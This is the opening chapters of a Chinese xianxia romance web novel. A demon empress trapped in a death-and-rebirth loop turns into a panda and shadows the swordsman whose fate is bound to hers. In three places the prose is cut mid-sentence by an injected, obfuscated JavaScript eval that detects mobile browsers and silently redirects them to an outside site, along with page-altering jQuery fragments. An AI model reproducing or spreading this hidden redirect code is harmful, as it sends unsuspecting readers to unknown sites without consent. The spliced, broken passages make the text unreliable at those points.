《掉马后抢走清冷仙君》 1. 第 1 章 日落西山,橘红色晚霞宛如仙人披帛,铺陈半边天空。 霞光自山顶洒落,一半山谷沐浴在晚霞中,斑斓瑰丽,光芒璀璨。 一道青色光芒从天边划过,悄无声息降落。 茂密树冠下,向外伸展的树枝微微一沉,枝叶沙沙作响。 白皙脚腕隐在碧色裙摆中,雪色稍纵即逝。 往上一截盈盈一握的纤细腰肢,长发落在锁骨处,墨发中,一绺白色似上好雪缎,宛如落在黑曜石上的一枚雪花,平添两分清雅。 纤长脖颈挂着一根黑绳,绳上缀着拇指大小的苍翠珠子,珠内光华流转,似有清韵溢出。 稀疏光影落在少女脸上,好似碎金掠影,霞姿月韵。 她翘着腿,手肘放于膝盖,目光锁着不远处的男子。 白衣男子盘腿坐于树下冥想,霞光穿透稀疏枝叶打在他脸上,孤冷的眉宇多了层暖光。 满头黑发随风而扬,发尾轻轻打着旋。 五官精致到趋于漂亮,紧闭的双目不知生得如何,但看那张脸,想来应当不错。 他的对面坐着四五名与他穿着同样衣裳的人,只是衣上纹样并不如他精致,姿态放松地围坐在一处,氛围很是不错。 指尖在脸上轻点,蕴禾问:“他便是苏见清?” 一只通体青色的鸟儿站在她右肩。 鸟儿身形娇小,翅膀收拢着,越往外颜色越深。身后几条拖尾垂下,尾部羽毛在晚霞下呈现出七彩光芒。 喙口一张吐出人言,“禀陛下,此人正是苏见清。” 蕴禾眸色转深。 传闻苏见清出生时天降异象,东出龙吟,西出虎啸,南降凤鸣,北现龟影。 仙鹤衔花而贺,方圆百里内,万花齐开。 修真界著名的神棍为他算了一卦,卦落后一身境界荡然无存。他却丝毫不在意,仰天长笑,“天降命主,护我人族!” 话落,乘鹤西去,不见踪迹。 因他这句话,伏渊仙门玄陵仙尊亲自下山收苏见清为徒,细心教养。 苏见清上伏渊多年,除开领宗门任务离宗除魔外,他鲜少露面,极为低调。若非人魔两族大战,命主苏见清之名传遍修真界,蕴禾也不会知晓他的名讳。 照他和魔尊弼隰同归于尽也要守护修真界的行为看,蕴禾以为见到的会是一名比焚天佛寺的秃驴们还要悲天悯人的“真佛”,谁知竟是个看起来有些孤僻的男子。 肩上清淼疑惑开口,“陛下为何这般在意苏见清?” 不止命她查探苏见清此人,还要追寻他的踪迹。 蕴禾黝黑的眸底深处荡出层层涟漪,仿佛要将人吸入其中。 抬头望天,她颇为郁闷地叹了声气。 不知从何时起,蕴禾陷入了一个循环。 她总是会莫名其妙死亡,死亡后又莫名其妙重生。 第一次重生时,蕴禾惊奇疑惑又不解。她是妖族之皇,妖族内无人能敌,就算是人魔两族内,能伤她的也屈指可数,为何会突然死亡?死亡后又重获新生? 想了许久也想不通,蕴禾释然了。 正打算继续过自己的舒服日子,她喝了口赤蜂一族进献的蜜水。 然后。 又死了。 又活了。 死了两次后,蕴禾烦了。 可找遍妖族秘法,始终摸不着头脑。 随后人魔两族交战,妖族一向不理会他们的纷争,蕴禾与往常一般不放在心上,谁知苏见清和弼隰决战那日,蕴禾又死了。 脑子里灵光一闪,蕴禾开始关注人魔大战。 派遣至避生渊的属下刚告知她苏见清身死的消息,蕴禾心中骤然升起某种预感。 果不其然,眨眼间,她又回到了过去。 为了验证所想,蕴禾试验了两次,发现苏见清果然是关键。 苏见清生,她生;苏见清死,她死。 真真正正的生死相依。 且她每次重生,均会回到比上一次早十年的时间线上。 这回是苏见清二十岁时。 蕴禾不想再死下去了,这次,她准备潜伏在苏见清身边,查明二人同生共死的原因。 避开清淼的问题,蕴禾懒声道:“你回妖族去吧,若有大事,直接传信本皇。” 清淼并不多言,恭声道是,青翼缓缓扇动,转瞬便消失在蕴禾眼前。 蕴禾手撑着树干,双腿轻轻晃着,一抹莹白色在碧色裙摆中若隐若现。 在她眼中,青年缓缓睁眼。 凤眼狭长,黑眸如星,眸底仿若装了一汪寒潭,看人时带着几分冷意。 蕴禾无声赞叹,好漂亮的一双眼睛。 恰在这时,眼睛的主人缓缓将视线移向她。 蕴禾微愣。 他看得见她? 伸出小手晃了晃,眼睛的主人毫无动静。 蕴禾瘪嘴。 就说嘛,以她的修为,怎么可能会被一个金丹期的人族修士发现踪迹? 收回手,蕴禾随手扯了张叶子拿在手中把玩。 无聊地将叶子撕成碎片,再从空中抛下。 碎叶在下落时化为绿色光点,逐渐泯灭。 正在兴头上,蕴禾鼻尖微动,忽然嗅到一股香浓的气息。 她往西南方向看去。 金乌坠落,浅浅一层金光笼罩着葱郁树冠,风吹树响,枝桠晃动。香甜之味顺着风飘到蕴禾鼻尖,勾着她心里的馋虫。 什么东西这么香?想吃。 蕴禾舔了舔嘴唇。 她望向树下。 苏见清又闭上眼打坐,身形分毫不动,似独坐高台的神佛。 他们此次下山是为了解决作乱的魔修,清淼的情报里,那名魔修与伏渊仙门的弟子大战一场后负伤逃入祁锡山,此处山谷离祁锡山还有些距离,想必那魔修忙着疗伤,躲还来不及,自不会对这群修士下手。 苏见清无碍,那她离开一时半会儿也没关系。 想清楚后,蕴禾喉咙滚动几下,心情愉快地拍碎手中绿叶,碧色裙摆一荡,刹那间已现身于几十里外。 绣着竹纹的绣鞋落地,蕴禾眸光一转,落在被浓密草丛遮挡住的山洞口。 山洞内布有结界,浓厚香味源源不断从内传出。 蕴禾视结界为无物,畅通无阻地步入山洞。 洞内空荡,角落里摆放一堆人骨,骨上沾有碎肉,冲天的血腥煞气钻入鼻腔,恶心得蕴禾险些呕吐。 她皱着鼻子,脸色极为难看。 本来是想看看到底什么东西这么香,没想到居然跑到魔修的地盘里来了。 蕴禾有些膈应。 洞口结界动荡,几道人影闯了进来,怒喝道:“什么人?!” 那是三名魔修,一胖一瘦,剩下那个壮得跟小山似的,脸上分别纹着蝎子、毒蛇和蜈蚣,那些毒物仿佛生在魔修脸上,随着他们开口,皮肉下似有异物蛄蛹,蕴禾甚至瞧见了一点寒星险些穿破那小山魔修的脸皮。 长得奇形怪状的。 蕴禾被丑到了。 长得高瘦的魔修眯着眼将蕴禾巡睃个遍,言语轻佻,“哟,小美人,你是怎么进来的?莫非瞧我兄弟三人孤枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716876|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难眠,特意来暖床的?” 他笑时脸上毒蛇传出“嘶嘶”声响,似在应声。 剩下两名魔修暧昧哄笑,淫.邪目光仿佛黏在蕴禾身上。 蕴禾被恶心坏了,眸色一冷,食指轻抬,准确无误地指向出言不逊的高瘦魔修。 却听“轰隆”一声,那魔修倒飞出去,身体砸倒数棵树木,最终嵌入一棵古木。 一指宽的伤口洞穿头颅,猩红血液淌了满脸,他脸上笑容定格,眼内藏着惊恐,显得格外狰狞可怖。 已是死得不能再死了。 剩下两名魔修又惊又怒。 “二哥!” 小山魔修大吼一声,眸色猩红,“你杀了我二哥,我要你偿命!” 他身上魔气暴涨,怒吼着往蕴禾冲去。 魔势威重,竟已步入元婴期。 蕴禾抬腿,一脚踹了出去。 那魔修倒飞出去,倒地不起。 这一脚直接踹碎了他的魔脉,他挣扎两下,大口吐血,目光惊恐不安。 蕴禾勾起一个甜甜的笑,语气颇为惊讶。 “不是说要找我偿命?怎么就死了呢?” 笑意落下,乖戾冷傲,“真不经打。” “三弟!” 矮胖魔修凄惨大吼,猩红的眼紧盯着蕴禾,神色惶恐不安,“你究竟是什么人?” 他的两名兄弟可都是元婴修为,竟被她一脚踹去半条命。 他们可都是魔域响当当的人物! “就凭你?” 蕴禾下颌微抬,神色睥睨,“不配知晓本皇名讳。” 矮胖魔修当机立断,抓起尚未咽气的三弟,眨眼遁入地中。 蕴禾看了眼山洞角落里的人骨,眉头厌烦拧起。 “恶心的东西。” 一缕妖气自指尖钻出,顺着两名魔修逃遁的方向追去。 矮胖魔修颇为精通遁地术,不过短短几息时间,便已逃遁至数十里外。 不见那女子追来,他松了口气,速度慢下,询问怀中魔修,“三弟,你怎么……” 妖气突然而至,洞穿魔修心脉,他身子直直倒在狭窄地道中。 “大、大哥,你怎……” 话音未落,那妖气钻入小山魔修体内,瞬间击碎了他的元婴。 感受到两名魔修已死,蕴禾眉间厌烦散去不少。 抬手一挥,角落人骨化为粉尘,飘飘扬扬洒落土壤。 没了那股惊人煞气,蕴禾舒服不少,转身欲走。 脚步轻抬,那股香味再度漫上鼻端。 她吸了吸鼻子,目光移转,最终落在某处。 那里放着锅碗,想来是那几个魔修的东西,再往里,草垛上躺着一朵小花。 花有五瓣,花瓣青翠欲滴,散发着莹莹绿光,仿佛上好的翡翠。 蕴禾拾起那朵花,仔细打量。 除了颜色绿了点,和寻常的花也没什么不一样,怎么这么香? 她低头嗅了嗅。 这花挨着锅碗,蕴禾本来极为嫌弃,可浓郁香气飘来时,她脑子一晕,鬼使神差没忍住舔了下。 舔完蕴禾暗道不好,下一瞬,娇俏绝丽的少女原地消失,取而代之的是张懵懂胖脸。 胖乎乎的身子黑白分明,又圆又白的脑袋上长着一对毛茸茸的黑耳朵,黝黑的眼睛外一圈水滴状黑影,歪着脑袋憨态可掬。 黑色毛发自前肢蔓延至后颈,宛如一对展翅的翼。 圆胖脸上眼珠子黑黝黝的,好似最纯净的黑曜石,此刻其中却弥漫着茫然。 竟是一只食铁兽。 2. 第 2 章 蕴禾呆呆站着,半晌没缓过神来。 许久后,黑色眼珠子转了转,缓缓垂下头。 映入眼帘的,是一双毛茸茸的熊掌。 她尝试着变回人形。 失败了。 又试了几次,依旧失败。 蕴禾阴晴不定地盯着手中剩下的花瓣,面上闪烁着恼怒。 她堂堂妖族妖皇,竟因一朵小花着了道。 这究竟是什么东西? 闭上眼,蕴禾仔细感受身体的异常。 良久,她睁眼。 这花竟能封住她的妖力,使她维持不了人形。 熊掌用力一握,小花在她掌心碾碎,碧绿色的汁液顺着毛发流淌。 蕴禾很嫌弃,熊脑袋往四周巡视,耳畔泠泠水流声似玉石相击,清脆响亮。 她迈着步子朝溪水的方向走去。 许久不曾用过原形,她一时半会竟有些不习惯,走动时,食铁兽浑身抖动,憨态可掬。 踏着满地草叶到了溪边,蕴禾净了手,甩掉水珠,准备回去。 就在这时,惊天剑光划破天际,几乎要将半边落霞刺穿。 空中灵气震荡,鸟雀走兽四散而逃。 那个方向……是苏见清。 蕴禾抬头,胖脸皱成一团,往剑气所在方向而去。 慢吞吞跑了两步,她一巴掌拍碎了身旁的树。 烦得要死。 那小花最多只能封住她一刻钟,可以她现在的速度,等她到了,说不准苏见清已经半死不活了。 大脑袋东望望西看看,黑眼珠蓦地一亮。 …… 绚丽落霞被魔气遮盖,阴冷压抑沉甸甸地落在心头。 鲜血将纯白衣衫染红了半边,在身下汇聚成溪流,缓缓向外汇去。 几具尸体躺地,短短一刻钟的时间内,伏渊竟已死了三名弟子。 苏见清持剑挡在最前方,与对面脸色苍白的高大魔修对峙,神色冰冷,眼含杀意。 余光自周围快速扫了一圈,方才那点细微波动已然平缓。 不知是人是妖亦或是灵怪,但走了也好,免得受这无妄之灾。 谁也没发现,被血腥气与魔气萦绕的山谷中,不速之客悄然降落。 成千上万只鸟雀如行动的乌云,落在山谷上空,哼哧哼哧地放下藤蔓,眼中竟浮现出极为人性化的如释重负之意。 蕴禾落在树梢上,枝干险些承受不住她的重量,颤巍巍地摇晃两下。 她扒拉下身上的藤蔓,对着上空一群密密麻麻的鸟雀挥了挥爪子。 “到了,走吧。” 话落,鸟雀们惊慌失措地四散而逃,生怕晚上一步。 凶狠地龇了龇牙,蕴禾抱着树干,哼哧哼哧往下滑,眼睛滴溜溜地转着,观察前方战况。 苏见清握紧手中长虹剑,护住身后两名剑修,冷声道:“齐师兄,带方师兄先走。” 齐岱眉间一片焦灼,“那你怎么办?” 哪怕苏师弟天纵奇才,年仅二十便已至金丹期大圆满,但他方才已全力斩杀一名元婴,身受重伤,怎能敌得过眼前这个处于全盛时期的元婴期魔修? 该死,没想到那魔修竟然还有帮手。 苏见清眉目冷然,“我自有办法。” 齐岱不由皱眉。 这苏师弟,未免有些不近人情了。 “咳咳。” 微弱的咳嗽声起,一只带血的手拉住齐岱衣袖,而后露出一张清秀而苍白的脸。 方若望轻声道:“师兄,我们先走。” “可是……” “没有什么可是,我们留着也是累赘,还不如先回伏渊寻掌门和仙尊。” 齐岱眉头皱得更紧,似是对“累赘”二字不满,却也无可奈何。 方若望看向苏见清,“苏师弟,今日之恩,方若望必定铭记在心。” 苏见清紧盯着面前魔修,仿佛没听见他说了些什么。 方若望无奈一笑,催促着齐岱离去。 齐岱抿唇犹豫片刻,咬牙道:“苏师弟,一定撑住,等我。打不过记得马上就跑!” 语罢,他飞快用芥子囊收殓三名师弟的尸体,扶着方若望御剑离去,剑如流光,眨眼消失在天边。 魔气萦绕下,眉宇妖邪的魔修不屑冷笑,“你以为能救得了那两个蝼蚁?等解决了你,我再杀了他们。” “尽管试试。” 苏见清握紧长剑。 他的剑名长虹,由天山寒石打造,剑身光滑凛冽,似有寒气萦绕。 剑柄处镌刻着繁复云纹,正中心的玄石暗光流转。 他持剑而上。 魔修魔势滔天,鼻尖发出一声轻哼,双手握着两把弯月长刀,动作姿态极为轻蔑。 刀光剑影间,“铿锵”声不断。 蕴禾抱着树干将一切尽收眼底。 她往两名剑修离开的方向瞥了一眼,又盯着苏见清身上的血渍看了半天,鼻腔内发出一声冷哼。 不愧是救苦救难的人族之光,伤得这么重,还得护着两名师兄离开。 切,真够装的。 苏见清身上有伤,战斗时间越长,对他越是不利。 果不其然,魔修抓住破绽,弯月刀凶猛往下劈。 这一刀极为猛烈,带着劈山断海的气势,滔天魔气似要将苏见清撕裂。 他持剑去挡,却被刀气逼得急速后退。 后背撞在山壁上,苏见清蹙眉,面色越发冷漠。 长虹剑光大亮,抵御着刀气。 又是一刀劈来。 苏见清不敌,手中卸了力,两把弯月刀齐齐斩在他身上。 他闷哼一声。 左肩与肋下多了两道深可见骨的伤痕。 伤痕处血肉翻转,鲜血霎时洇湿了衣袍。 苏见清面色苍白,右手死死握着长虹,脊背挺直得如同松竹。 但蕴禾看出,他已是强弩之末。 魔修一步步靠近。 他面上带着轻松笑意,眉心魔纹大亮,已然一副必胜的模样。 弯月刀高高举起,刀尖在空中划起锋利的弧度。 蕴禾用爪子刨着树干。 短短一息,树皮簌簌往下落,树干已被她刨得干净光滑。 眼见那刀即将砍掉苏见清的脑袋,蕴禾原地一蹦,单脚在树干上一蹬,借力冲了出去。 魔修猖狂又狰狞地笑着朝苏见清砍去。 余光突然飞来一团不明物品,下一瞬,剧烈的疼痛从脑中传来,魔修被这一脚踹得倒飞出去,身体嵌进山壁里,岩石轰隆隆从他头上滚落。 蕴禾四肢落地,朝魔修甩了下脑袋。 她虽不能用妖力,但肉身的强度还在,这一脚下去,有他受的。 苏见清一怔,抵唇咳嗽一声,鲜血从指缝中淌出,目光却落在倏忽而至的食铁兽身上。 神色骤凛,他飞身而上,护在食铁兽身前,“小心!” “该死的畜生,我要杀了你!” 暴喝声从坍塌的山壁中响起,一道身影破石而出,魔修魔气暴涨,凶恶地劈刀而下。 “给我去死!” 蕴禾怒了。 说谁畜生呢?你才是畜生! 她想冲上去再给那臭虫似的魔修一脚,然而苏见清蓦地动了。 青年周身充斥着灵力,染了血的衣袍无风自动,劲瘦手掌握住长虹,斩出一剑。 那一剑似寒冬骤临,周身温度降低,空气中飘荡着无数细密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716877|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪花。雪花汇聚成形,仿佛无数把冰雪长剑。 一剑斩天,天光大亮。 剑光照射在蕴禾脸上,她不由眯了眯眼。 方才他步步后退,原来是为了给这一剑蓄力。 恰在这时,一丝细微的妖力自妖丹内钻出,眨眼间汇成无边大海,蔓延到身体的每个角落。 蕴禾弯了弯唇,爪子一动。 浓厚精纯的妖力附着于苏见清的剑气上,直直冲入魔修眉心。 魔纹破碎,妖力自眉心钻入魔脉,霸道地将魔修的五脏六腑搅得粉碎。 “嘭!” 面目狰狞的魔修僵硬地向下倒去。 猩红的血自眼眶内钻出。 蕴禾不屑轻哼。 什么狗东西,也敢骂本皇。 “你怎么样?” 清越悦耳如琴音的男声自上方汇聚,蕴禾抬头望去。 苏见清蹲在她面前,头微微垂着。 那一剑似乎对他损伤极大,面色白得吓人,鲜血不断从唇角溢出,他随手一抹,似乎只是抹去了什么灰尘。 脸上无甚表情,眸中波澜微动,细细将她打量个遍。 看什么看,没见过这么威猛的食铁兽啊。 蕴禾面无表情和他对视。 她自认为是面无表情,然而此刻的形象实在毫无说服力,胖乎乎软绵绵毛茸茸的,手感应当极好。 苏见清抿抿唇,从腰间芥子囊中取出一瓶灵药放在蕴禾身前,“此地腥气重,不适合你。” 话落,他起身。 走了两步,颀长身影骤然倒下,惨白的面容朝着天,浑身是血。尤其是嘴角血迹,格外触目惊心。 蕴禾皱眉。 灵光一闪,仿佛汇聚了天地间所有灵气的少女蹲在白衣剑修身前,探出妖力,细细查看他的伤势。 这一看,令蕴禾惊讶地扬起眉。 两道刀伤上盘踞着浓烈魔气,正蚕食着苏见清的血肉。 一道伤口从左肩蔓延至右胸,鲜血淋漓,不断往外渗着血,两条腿上各有一道伤,除此之外,更严重的是他的内伤。 金丹受损,一缕魔气宛如无头苍蝇般在苏见清体内乱窜,恶劣地攻击着他的气海。 再这样下去,他就算是伤好,也于修为有碍。 蕴禾托腮,皱着眉头思索片刻,蓦地伸出一指。 妖气从指尖钻出,没入青年眉心。 那妖气极为霸道,几乎在它出现在苏见清体内的瞬间,魔气便跟遇到猫的老鼠似的横冲直撞地逃窜。 昏迷中的苏见清倏地闷哼一声,嘴角鲜血顺着下巴流淌,在胸前留下一朵糜烂妖花。 蕴禾眸色一厉,妖气猛地抓住那缕魔气,拽着它往外钻。 在它离开苏见清身体的刹那,蕴禾掌心一握,魔气顿时烟消云散。 她嫌弃甩手,腕上缠着一条手链,链上缀着好几个青竹模样的玉石,其中一个淌出一股涓涓细流。 蕴禾净了手,想了想,从链子里取出一物。 那是朵通体白色,形状如莲,润泽如玉的花,花瓣重叠,其中似有流水流淌,在阳光下琉云璃彩,美不胜收。 价值连城的白玉水莲,生死人,肉白骨的极品灵药。 便宜你了。 蕴禾摘下一片花瓣,放在苏见清嘴唇上。 妖力将花瓣碾碎,透明汁液渗入唇缝。 昏迷中的青年无意识舔了下唇,喉咙吞咽。 水莲的效用立竿见影,在进入苏见清体内的瞬间,便开始修复他的伤势。 见他气息平缓,蕴禾打了个响指,强制驱散山谷内浓重的血腥气,变回原形,在苏见清不远处卧下。 脊背舒展,懒洋洋地打了个哈欠,闭眼睡去。 3. 第 3 章 苏见清醒来是在清晨。 东方一缕晨光跳出山巅,白云悠悠,飘逸轻盈。 风吹树响,枝叶摇晃,一只普通灵鸟飞过天幕,穿过白云,不知要飞去何方。 金丹无恙,体内灵力运转正常,就连身上的伤都没那么痛了。 轻轻动了动身子,手背骤然触碰到一团温热柔软。 苏见清偏首。 大团子睡在他脑侧,毛茸茸的脑袋抵着他的肩和耳朵,四肢摊开正面朝上,呼吸轻缓,肚子一起一伏,睡得正香。 干净无瑕的毛发看起来格外柔软。 苏见清静静看了片刻,动作轻柔到小心翼翼地提起它的爪子放在一侧,起身缓缓坐起。 不是错觉,身体里的伤竟已经好了大半。 苏见清犹疑拧眉,视线不自觉放在团子身上。 在他的注视下,黑葡萄般的眼睛缓慢睁开。 睁眼的刹那,蕴禾眼中残存的睡意刹那间烟消云散,她盯着湛蓝天空看了两眼。 “你是给我喂了药?” 清淡冷泠的嗓音很近,仿佛贴着她的耳。 蕴禾两只耳朵抖了抖,偏过大脑袋。 苏见清正看着不远处被蕴禾遗落的灵药,侧脸线条清晰优越。 爪子在地上拍了下,草屑和灰尘一同散开,见苏见清偏头来看,蕴禾点了下头。 苏见清唇瓣嚅动,轻声致谢,“多谢。” 他站起,握住佩剑长虹,背影如松,“此处不宜久留,你快些离开罢。” 长虹出鞘,苏见清握着剑柄凭空一斩,剑气以他为中心向四周蔓延,刹那间草木无风而动,锋锐剑气越过蕴禾,裹挟着魔修尸体,连带空中血腥之气一同消散。 山间吹来一股清风,鼻息间尽是草木芳香。 苏见清收剑,侧头对蕴禾颔首,声音清冷,“再会。” 蕴禾瞪眼。 他就这样走了? 不是救世主吗?竟然放着她这么一只可爱弱小的食铁兽不管,自己一个人走了?! 蕴禾气炸了,耳朵上绒毛炸开。 她自小就知道自己的原形特别讨妖喜欢,那些姐姐婶婶们每次见了都恨不得将她偷回去,哪怕现今长大了许多,那也是妖族数一数二的。 可这人修居然熟视无睹,自己走了! 蕴禾气得咬牙,飞快翻身朝着苏见清离开的方向追去。 她跑得快,身上的肉摆动起来一摇一晃的,一边追一边暗骂。 可恶的人修,要不是人形不方便进伏渊,她才不会显出原形。 追着苏见清出了林子,蕴禾骤然刹住。 金乌已爬至半空,洒下无数耀眼光芒。 溪水叮咚作响,清澈见底的水流中蹦出一条灵鱼,溅起的水珠浇在岸边草木花蕊上,那小花枝叶摇曳,花色越发鲜艳。 灵花两步外的巨石上放着叠得整整齐齐的衣物。 剑修取下腰间芥子囊,随手放在脚边,一层层除去身上破烂衣裳,露出肌理分明的白皙后背。 背上有几道伤痕,宛如纯白无垢的冬日雪图不慎染上墨渍,毁坏上好画作。 他只着白色绸裤缓缓步入溪水,走动时后背与手臂肌肉微鼓,是并不过分健硕,却不失力量感的美。 蕴禾走近,靠着巨石坐下,饶有兴致地盯着苏见清。 妖修大多热情放纵,以往在妖域,她还见过比苏见清露得更多的妖修,因此并不觉得有伤风化。 相反,她下意识地将苏见清与妖族的修士做对比。 有的妖修崇尚力量,身上肌肉硕大,皮肤也不如苏见清白,这样看,还是苏见清的身体更好看。 可惜啊,他怎么不转过来? 也不知前面生得如何。 这般想着,溪水中的苏见清忽然侧了下头,余光往蕴禾这边扫。 他似是吃了一惊,抬手一招,衣物凭空飞来,眨眼间苏见清已衣着整齐。 蕴禾啧啧两声,颇为遗憾。 苏见清涉水而上,湿透的衣物在双足落在岸上的瞬间烘干,墨发散在身后,似上好绸缎泛着晶亮光泽。 他迟疑,“你怎么跟上来了?” 蕴禾靠着巨石,懒懒抬睫。 苏见清也知自己问了废话,穿戴整齐,将墨发用玉簪束起,抬袖一挥。 “哗——” 水浪翻滚,冲天而上,几条灵鱼落在岸边,急速摆动鱼尾挣扎。 苏见清将个头小的扔回溪水,留下五条个大的,从芥子囊中取出工具,蹲在岸边处理灵鱼。 清理过后,他将鱼串起,丢了个凝火诀。 火焰燃起,苏见清将鱼架在上面烤,不时翻滚着洒上香料。 蕴禾换了个姿势,趴在巨石上看他。 不是说他们修士大多辟谷?没想到苏见清竟还维持着凡人的习惯,沐浴不用清洁术,进食不用辟谷丹。 火光在年轻修士脸上跳跃,他半垂着眼料理灵鱼肉,动作认真而熟练。 鱼好后,苏见清凭空取来几片树叶,将三条鱼放在蕴禾面前,旋即坐回去,慢条斯理地撕着鱼肉。 蕴禾盯着烤鱼。 看得出,苏见清的手艺极好,这三条鱼个个外表焦黄,上头也不知撒了什么香料,一股股香味不停往蕴禾鼻子里钻,勾得她腹中馋虫直跳,口中分泌出涎液。 蕴禾咽了口唾沫,爪子撕下一条鱼肉放进嘴里。 外焦里嫩,香中带鲜,微辣中带着一丝麻意。她眼睛一亮,飞快将三条鱼解决。 吃完鱼肉,蕴禾犹不满足。 爪子上沾染了油渍,她刚想用储物手链里的清水净手,猛地意识到苏见清的存在,只好憋屈地走到溪边,掬起一捧水,将爪子洗得干干净净。 身后仿佛有道目光追随着她,蕴禾回头,却见苏见清已将东西收回,盘腿闭眼打坐调息。 蕴禾盯着苏见清看了两眼,慢吞吞地迈着步子回到巨石旁坐下。 阳光照在身上,连带着巨石也带着些微暖意,她有些犯困,耷拉着眉眼,眼睛要闭不闭。 毛茸茸的大脑袋一点点往下,眼看就要撞在石上,蕴禾陡然转醒。 这一醒,她炸了! 方才的地方已经没了苏见清的身影。 跑了? 混蛋! 这是她第一次在同一日同一人身上接连栽了两次! 可恶的苏见清! 蕴禾大怒,爪子用力拍下。 可容纳两三人入座的巨石眨眼间碎成粉末,在阳光下微光闪烁。 下一瞬,苏见清的气息逐渐靠近。 蕴禾傻眼了。 转念一想,一只普通的尚未化形修炼、有几分灵智的食铁兽都能将元婴期魔修踢飞,一巴掌将石头拍成粉尘而已,有什么不可能的? 因此,蕴禾理直气壮地怒视苏见清。 苏见清走近时,就见那只大团子怒气冲冲地瞪着他,胸前起起伏伏,耳朵上的绒毛仿佛都炸开了,像是气得不轻。 他轻咳一声走到蕴禾身前,如玉手掌一翻,掌中出现用叶子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716878|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包裹住的果子。 红的青的黄的都有,外皮带着露水,色彩鲜艳丰富,瞧着很是可口。 “方才见你好像没吃饱,特意为你寻的。” 给她摘的? 蕴禾怒气散了一半,两只爪子捧着果子放在怀里,一颗颗丢进口中。 牙齿一咬,汁水迸射而出,在舌尖上留下鲜甜。 蕴禾眯了眯眼。 将果子全部吃完后,苏见清引来一泓溪水浇在蕴禾爪子上,冲刷掉粘黏果汁。 看着似雨水降落的溪水,苏见清轻声开口,“昨日是你喂我吃了灵药?” 宗门派发的丹药苏见清吃了这么多年,知道得一清二楚,虽效果极佳,但绝不可能一夜之间,令他身上的伤势几乎痊愈。 昨日与他在一处的唯有这只食铁兽,极大可能是它找来了什么灵药,喂他吃下。 阳光折射在苏见清眼中,清澈眸底似碎金跳跃,目光看去时,竟有股温柔的错觉。 蕴禾既没点头也没摇头,黑葡萄似的眼珠直溜溜看着他,爪子在空中挥了挥。 苏见清郑重其事,“谢谢。” 他取下芥子囊,灵光一闪,地上摆了一排东西。 蕴禾低头瞄了一眼。 有一堆灵石、几瓶丹药,一盒糕点、几件灵器、两件法衣……杂七杂八的,种类繁多。 苏见清认真开口,“多谢你救我一命,这些东西是我这些年攒下来的,你喜欢什么只管挑,也可都拿去。” 清隽面容毫无波澜,眸色不动分毫,好似一点也不心痛攒了多年的家当。 蕴禾看见那堆东西,脑海里只有一个念头。 伏渊仙门这么穷的吗? 身为玄陵仙尊的大弟子,苏见清攒了二十年,就只有这些破烂? 作为妖皇,蕴禾好东西见多了,一点也不把苏见清的家当放在眼里,甚至有些嫌弃。 唯有那盒点心还不错,隔着盖子都能闻见香味。 蕴禾伸出爪子推开盒盖。 荷花形状的糕点躺在碟中,粉色与淡黄的结合清新好看,她抓了一块一咬,糕点酥得掉渣,内里却香甜绵软。 蕴禾眼前一亮,将剩下的糕点塞进嘴里。 苏见清见她吃得急,拾起一瓶花露,“慢些,别噎着了。” 蕴禾喝了一口,瞬间心花怒放。 她一口糕点一口花露,吃得津津有味,转眼便将东西吃完。 苏见清蹲在蕴禾面前,不厌其烦地再度引水替蕴禾冲洗爪子,旋即起身。 他背光站着,金色光线勾勒出全身轮廓,身形颀长,墨发轻旋,神清骨秀,松风水月。 “这些东西都留给你,快回家去吧。” 嗓音清冷润泽,宛如融化的冰雪融入泉水,顺流而下冲刷青石,淙淙悦耳。 “往后莫要随意救人,若是遇见昨日那般的魔修,断不可随意现身,万事先保全自己。” 苏见清叮嘱,“还有你喂我吃的灵草,不要全拿出来救人,给自己留条后路。” 话落,苏见清最后看了蕴禾一眼,略一颔首,“保重,有缘再见。” 他唤出长虹,剑光一闪,身形已落于剑上,正要御剑离去,身后霍地“咚”一声。 苏见清回首,只见食铁兽倒地不起,两只爪子捂着腹部,身子蛄蛹着很是难受。 他急声,“这是怎么了?” 怎么了? 蕴禾冷笑。 我吃了你的糕点中毒了。 该死的剑修,负责! 4. 第 4 章 苏见清移至蕴禾身前,一手握住她的爪子。 掌心是毛茸茸的柔软触感,他手心一痒,连忙探出灵力查看食铁兽的情况。 灵力走遍蕴禾全身,片刻后,苏见清无奈放手,“别闹。” 这只食铁兽康健不已,没吃坏肚子也没中毒,方才应当是演的。 苏见清犹豫须臾,试探性伸出手。 见蕴禾没反应,他小心翼翼将手放在食铁兽头顶,顺着柔软毛发轻轻一摸。 “你是想跟着我?” 蕴禾点头。 想找出她和苏见清同生共死的原因,跟在他身边是最佳选择。 